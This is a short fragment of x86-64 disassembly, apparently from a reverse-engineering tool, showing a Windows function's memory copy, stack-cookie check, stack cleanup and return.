mov ecx, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400ccb7f
add rsp, 0x1498
pop rdi
pop rsi
ret